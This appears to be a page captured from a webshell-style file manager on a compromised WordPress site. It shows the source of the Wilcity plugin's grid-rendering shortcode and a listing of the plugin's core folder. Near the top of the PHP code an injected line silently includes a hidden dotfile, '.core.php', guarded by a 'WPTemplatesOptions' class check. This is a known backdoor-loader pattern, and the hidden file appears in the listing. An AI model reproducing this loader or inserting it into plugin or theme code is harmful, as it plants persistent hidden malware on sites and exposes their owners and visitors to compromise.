PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
core
<?php use WILCITY_SC\SCHelpers; use WilokeListingTools\Framework\Helpers\GetSettings; use WILCITY_SC\ParseShortcodeAtts\ParseShortcodeAtts; use WILCITY_APP\Helpers\AppHelpers; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcity_sc_render_grid($atts) { $oParseSC = new ParseShortcodeAtts($atts); $atts = $oParseSC->parse(); $atts['border'] = isset($atts['border']) ? $atts['border'] : ''; $aArgs = SCHelpers::parseArgs($atts); if ($atts['orderby'] !== 'nearbyme') { $query = new WP_Query($aArgs); if (!$query->have_posts()) { wp_reset_postdata(); return ''; } } $atts = SCHelpers::mergeIsAppRenderingAttr($atts); if (SCHelpers::isApp($atts)) { $aResponse = []; $oSkeleton = new AppHelpers(); if ($atts['orderby'] !== 'nearbyme') { while ($query->have_posts()) { $query->the_post(); $aResponse[] = $oSkeleton->listingSkeleton($query->post, ['oGallery', 'oSocialNetworks', 'oVideos']); } wp_reset_postdata(); } echo '%SC%' . json_encode( [ 'oSettings' => $atts, 'oResults' => $aResponse, 'TYPE' => $atts['TYPE'] ] ) . '%SC%'; return ''; } $wrap_class = apply_filters('wilcity-el-class', $atts); $wrap_class = implode(' ', $wrap_class) . ' ' . $atts['extra_class']; $wrap_class .= apply_filters('wilcity/filter/class-prefix', ' wilcity-grid'); if (wp_is_mobile() && isset($atts['mobile_img_size']) && !empty($atts['mobile_img_size'])) { $atts['img_size'] = $atts['mobile_img_size']; } if ($atts['orderby'] == 'nearbyme') { if (is_tax()) { $oQueriedObject = get_queried_object(); $taxonomy = $oQueriedObject->taxonomy; $termID = $oQueriedObject->term_id; if ($atts['post_type'] == 'depends_on_belongs_to') { $aDirectoryTypes = GetSettings::getTermMeta($termID, 'belongs_to'); if (empty($aDirectoryTypes)) { $atts['post_type'] = GetSettings::getDefaultPostType(true); } else { $atts['post_type'] = json_encode($aDirectoryTypes); } } if (!isset($atts[$taxonomy . 's']) || empty($atts[$taxonomy . 's'])) { $atts[$taxonomy . 's'] = $termID . ':' . $oQueriedObject->name; } } wilcity_sc_render_new_grid($atts); } else { ?> <div id="<?php echo esc_attr($atts['wrapper_id']); ?>" class="<?php echo esc_attr($wrap_class); ?>"> <?php if (!empty($atts['heading']) || !empty($atts['desc'])) { wilcity_render_heading([ 'TYPE' => 'HEADING', 'blur_mark' => '', 'blur_mark_color' => '', 'heading' => $atts['heading'], 'heading_color' => $atts['heading_color'], 'desc' => $atts['desc'], 'description_color' => $atts['desc_color'], 'alignment' => $atts['header_desc_text_align'], 'extra_class' => '' ]); } ?> <?php if ($atts['toggle_viewmore'] == 'enable') : ?> <div class="<?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'btn-view-all-wrap clearfix')); ?>"> <a class="<?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'wil-view-all mb-15 btn-view-all wil-float-right')); ?>" href="<?php echo SCHelpers::getViewAllUrl($atts); ?>"><?php echo esc_html($atts['viewmore_btn_name']); ?></a> </div> <?php endif; ?> <div class="row row-clearfix wil-flex-wrap"> <?php do_action('wilcity/listing-grid/before-loop', $query, $atts); if ($query->have_posts()) { $atts['item_class'] = 'mb-30'; while ($query->have_posts()) { $query->the_post(); wilcity_render_grid_item($query->post, $atts); } wp_reset_postdata(); } do_action('wilcity/listing-grid/after-loop', $query, $atts); ?> </div> </div> <?php } }
[+]
..
[-] wilcity_render_testimonial_item.php
[edit]
[-] wilcity_render_team_intro_slider.php
[edit]
[-] wilcity_render_modern_term_box.php
[edit]
[-] wilcity_render_modern_term_boxes.php
[edit]
[-] .core.php
[edit]
[-] wilcity_render_contact_us.php
[edit]
[-] wilcity_render_restaurant_listing.php
[edit]
[-] wilcity_render_team_intro_slider_item.php
[edit]
[-] wilcity_render_term_boxes.php
[edit]
[-] wilcity_render_post_types.php
[edit]
[-] wilcity_event_slider_item.php
[edit]
[-] wilcity_listing_slider_item.php
[edit]
[-] wilcity_render_box_icon.php
[edit]
[-] wilcity_render_new_grid.php
[edit]
[-] wilcity_render_hero_search_form.php
[edit]
[-] wilcity_render_term_masonry_items.php
[edit]
[-] wilcity_render_wiloke_wave.php
[edit]
[-] wilcity_render_grid_post.php
[edit]
[-] wilcity_render_rectangle_term_boxes.php
[edit]
[-] wilcity_render_restaurant_listings.php
[edit]
[-] wilcity_widget_list_style.php
[edit]
[-] wilcity_render_heading_ribbon.php
[edit]
[-] wilcity_render_testimonials.php
[edit]
[-] wilcity_render_restaunrant_menu_item.php
[edit]
[-] wilcity_render_events_grid.php
[edit]
[-] wilcity_render_image_box.php
[edit]
[-] wilcity_render_intro_box.php
[edit]
[-] wilcity_render_term_box.php
[edit]
[-] wilcity_render_listings_tabs.php
[edit]
[-] wilcity_render_restaurant_list_menu.php
[edit]
[-] wilcity_render_slider.php
[edit]
[-] wilcity_render_heading.php
[edit]
[-] wilcity_render_event_item.php
[edit]
[-] wilcity_render_rectangle_term_box.php
[edit]
[-] wilcity_post_slider_item.php
[edit]
[-] wilcity_render_terms_slider.php
[edit]
[-] wilcity_render_term_masonry_item.php
[edit]
[-] wilcity_render_grid_item.php
[edit]
[-] wilcity_render_full_width_list_item.php
[edit]
[-] wilcity_render_map.php
[edit]
[-] wilcity_render_hero.php
[edit]
[-] wilcity_terms_box.php
[edit]
[-] wilcity_render_author_slider.php
[edit]
[-] wilcity_render_grid.php
[edit]